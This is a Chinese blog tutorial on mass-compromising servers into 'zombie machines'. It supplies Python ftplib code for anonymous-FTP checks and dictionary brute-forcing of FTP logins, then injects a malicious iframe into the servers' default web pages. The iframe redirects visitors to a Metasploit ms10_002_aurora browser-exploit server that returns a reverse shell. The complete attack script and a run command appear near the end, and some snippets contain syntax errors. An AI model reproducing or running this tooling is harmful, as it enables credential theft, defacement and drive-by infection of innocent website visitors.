利用Web和FTP批量抓“肉机”

  • 开篇惯例,美女镇楼!!
    镇楼

0. 攻击思路

  • 利用FTP匿名登录或从网上下载的"用户名/密码"字典包搭配Python的第三方库ftplib可以轻松的实现劫持“肉机”操作。在获取对FTP服务器的访问权限后在FTP主机目录下寻找默认的网页页面,然后上传一个新的含有恶意重定向脚本的默认网页页面,那么被黑掉的服务器就能给任何一台访问其网页的有漏洞的浏览器种植木马。

1. 利用Python实现匿名FTP扫描功能

  • 一般从安全的角度来说,网站允许匿名FTP访问是件很危险且疯狂的做法,但是还是有很多网站提供此项功能。我们可以利用Python中的ftplib库编写一个小脚本来检测一个服务器主机是否允许匿名登录操作。anonymous_login()函数接收一个目标主机名,并返回一个Boolean值来描述该主机是否提供匿名的FTP登录。ftplib模拟匿名登录一般需要提供的用户名为anonymous,而密码则为邮箱账号。参考代码如下:
import ftplib
def anonymous_login(host):
    try:
        ftp = ftplib.FTP(host)
        ftp.login('anonymous', 'user@xx.com')
        print('\n[*] {} FTP Anonymous Logon Successed.'.format(str(host))
        ftp.quit()
        return True
    exception Exception as e:
        print('\n[-] {} FTP Anonymous Logon Failed.'.format(str(host))
        return False

2. 暴力破解FTP登录口令

  • 匿名登录一般是最简单的攻击方式,但事实上很多主机都不允许匿名登录FTP,这时我们就需要通过暴力的方式来破解这些主机的FTP登录账号,所谓的暴力破解其实就是通过在网上下载的FTP登录账号字典,然后逐行去匹配检索字典中的账号密码是否能正常登录FTP,最终试出登录口令。
  • 接下来我们就来写个暴力破解登录口令的函数brute_login(),这个函数接收两个参数,一个主机名,一个保存登录账号密码的字典文本文件名,函数返回的是一个能够正常登录主机的用户名/密码的元组。如果最终穷尽字典文本都未能找到合适的登录口令则返回一个(None, None)元组。参考代码如下:
import ftplib
def brute_login(host, password_file):
    with open(password_file, 'r') as f:
        for line in f.readlines():
            username = line.split(':')[0]
            password = line.split(':')[1].strip('\r').strip('\n')
            print('[+] Trying {}/{}'.format(username, password))
            try:
                ftp = ftplib.FTP(host)
                ftp.login(username, password)
                print('\n[*] FTP Logon Successed: {}/{}'.format(username, password))
                ftp.quit()
                return (username, password)
            exception Exception as e:
                print(e)
    print('\n[-] Could not brute force FTP credentials.')
    return (None, None)

3. 检索FTP服务器上的默认网页

  • 假如通过上面介绍的方法我们成功的拿到了登录口令,接下来我们要测试下该服务器是否提供Web服务。如何检测?很简单,我们首先列举出FTP目录中的所有的文件,检索文件的后缀名是否含有.html、.asp、.php,搜索出其中是包含的默认网页。
  • 接下来我们写个default_pages()函数完成这个功能,函数的参数是一个FTP连接,返回的是一个找到的默认网页的列表list。注意,这个ftp是已经成功登录连接,即:ftp=ftplib.FTP(host)返回的ftp,这样我们就很容易通过ftp.nlst()拿到FTP目录下的所有文件列表dir_list。具体参见参考代码:
def default_pages(ftp):
    try:
        dir_list = ftp.nlst()
    exception Exception as e:
        dir_list = []
        print('[-] Could not list directory contents.')
        print('[-] Skipping To Next Target.')
        return
    ret_list = []
    for filename in dir_list:
        fn = filename.lower()
        if '.php' in fn or '.asp' in fn or '.html' in fn:
            print('[+] Found default page: {}'.format(filename))
            ret_list.append(filename)
    return ret_list

4. 向默认网页注入恶意脚本

  • 在上面我们已经拿到了默认网页列表list,接下来我们就该干点坏事了,向默认网页注入一段重定向至恶意服务器的脚本代码。我们先把默认网页从被黑服务器上download下来,再向其中注入一个iframe,最后再把这个注入了恶意脚本的网页上传至被黑服务器上。
  • 我们来写个注入脚本的函数,函数参数为一个FTP连接,默认网页名,以及一段用于重定向的iframe字符串。具体操作参见代码:
def inject_script(ftp, page, redirect):
    with open(page + '.tmp', 'w') as f:
        ftp.retrlines('RETR ' + page, f.write)
        print('[+] Downloaded Page: {}'.format(page)
        f.write(redirect)
    print('[+] Injected Malicious IFrame on: {}'.format(page))
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print('[+] Uploaded Injected Page: ' + page)

5. Attack实施

  • 接下来整合上面的函数来写个攻击函数,攻击函数attack()接收四个参数,分别是:host, username, password, redirect。具体做法是: 登录目标主机-->检索出FTP目录下所有默认网页文件列表-->迭代默认网页文件列表注入恶意脚本。 参考代码如下:
import ftplib
def attack(host, username, password, redirect):
    ftp = ftplib.FTP(host)
    ftp.login(username, password)
    print('[*] Successed Logon {}'.format(str(host))
    def_pages = default_pages(ftp)
    for page in def_pages:
        inject_script(ftp, page, redirect)

6. GameOver

  • 小伙伴们看到这里似乎觉得哪里有不对劲但又说不上来到底哪里有问题!似乎没告诉怎么实施具体的攻击方法。接下来讲讲怎么实施具体攻击。

  • 我们使用Metasploit框架,Metasploit是一款开源的安全漏洞检测工具。在Linux终端下执行curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall即可安装该框架,安装完后直接在终端界面输入msfconsole即可,最终的console界面如下图所示:

    msfconsole界面

  • 接下来执行快速的创建一个位于http:///10.10.10.112:8080/exploit的恶意服务器和页面,选用的是ms10_002_autora这个漏洞。现在如果有哪个有漏洞的浏览器连接到10.10.10.112:8080/exploit这个服务器,它就会执行漏洞代码控制目标主机,使之成为一只“肉机”,并使之向我们提供一个反向连接,这样我们就能得到这台被黑掉的计算机上的Windows命令行提示窗口,从而在“肉机”上以管理员权限执行命令。

# Linux终端下启动 Metasploit框架,注意要使用msfconsole命令,msfcli命令已经失效
msfconsole -x exploit/windows/browser/ms10_002_aurora
  • 注入恶意重定向脚本为redirect=<iframe src="http://10.10.10.112:8080/exploit"></iframe>,这段脚本注入到FTP服务器下所有默认网页中,一旦有“幸运儿”访问了这台服务器下的默认网页即会被重定向到10.10.10.112:8080/exploit这个服务器从而变成你的“肉机”。
  • 程序运行方法:
    virtual_host# python ftp_attack.py -H xxx.xxx.xxx.xxx -f ftp_user_password.txt -r '<iframe src="http://10.10.10.112:8080/exploit"></iframe>'

友情提示:请在虚拟机上“浪”!!


参考完整代码
  • 下面的代码是暴力破解FTP服务器并注入恶意代码操作“肉机”的参考代码,需要提前在网上下载用户密码字典。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :Sam
# @File : ftp_attack.py
# @Software : PyCharm

import ftplib
import optparse
import time


def anonymous_login(host):
    """
    anonymous login host
    :param host:
    :return:
    """
    try:
        ftp = ftplib.FTP(host)
        ftp.login('anonymous', 'me@your.com')
        print('[*] {} FTP Anonymous Logon Successed.'.format(str(host)))
        ftp.quit()
        return True
    except Exception as e:
        print(e)
        print('[-] {} FTP Anonymous Logon Failed.'.format(str(host)))
        return False


def default_pages(ftp):
    """
    get default html page from host
    :param ftp:
    :return:
    """
    try:
        dir_list = ftp.nlst()
    except Exception as e:
        dir_list = []
        print(e)
        print('[-] Could not list directory contents.')
        print('[-] Skipping To Next Target.')
        return
    ret_list = []
    for filename in dir_list:
        fn = filename.lower()
        if '.php' in fn or '.html' in fn or '.asp' in fn:
            print('[+] Found default page: {}'.format(filename))
            ret_list.append(filename)
    return ret_list


def inject_script(ftp, page, redirect):
    """
    injected script into default page
    :param ftp:
    :param page:
    :param redirect:
    :return:
    """
    with open(page + '.tmp', 'w') as f:
        ftp.retrlines('RETR ' + page, f.write)
        print('[+] Downloaded Page: {}'.format(page))
        f.write(redirect)
    print('[+] Injected Malicious IFrame on: {}'.format(page))
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print('[+] Uploaded Injected Page: ' + page)


def attack(host, user, password, redirect):
    """
    attack host
    :param host:
    :param user:
    :param password:
    :param redirect:
    :return:
    """
    ftp = ftplib.FTP(host)
    ftp.login(user, password)
    def_pages = default_pages(ftp)
    for page in def_pages:
        inject_script(ftp, page, redirect)


def brute_login(host, passwd_file):
    """
    brute login host serve
    :param host:
    :param passwd_file:
    :return:
    """
    with open(passwd_file, 'r') as f:
        for line in f.readlines():
            time.sleep(1)
            username = line.split(':')[0]
            password = line.split(':')[1].strip('\r').strip('\n')
            print('[+] Trying {}/{}'.format(username, password))
            try:
                ftp = ftplib.FTP(host)
                ftp.login(username.password)
                print('[*] FTP Logon Successed: {}/{}'.format(username, password))
                ftp.quit()
                return (username, password)
            except Exception as e:
                print(e)
                pass
    print('[-] Could not brute force FTP credentials.')
    return (None, None)


def main():
    parser = optparse.OptionParser('usage %prog -H <target host> -f <userpass file> -r <redirect page>')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file')
    parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page')
    (options, args) = parser.parse_args()
    hosts = str(options.tgtHost).split(',')
    password_file = options.passwdFile
    redirect = options.redirect
    if hosts is None or redirect is None:
        print(parser.usage)
        exit(0)
    for host in hosts:
        username = None
        password = None
        if anonymous_login(host):
            username = 'anonymous'
            password = 'me@you.com'
            print('[*] Now Using Anonymous Creds to attack.')
            attack(host, username, password, redirect)
        elif password_file is not None:
            (username, password) = brute_login(host, password_file)
        if password is not None:
            print('[+] Using Creds: {}/{} to attack.'.format(username, password))
            attack(host, username, password, redirect)


if __name__ == '__main__':
    main()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342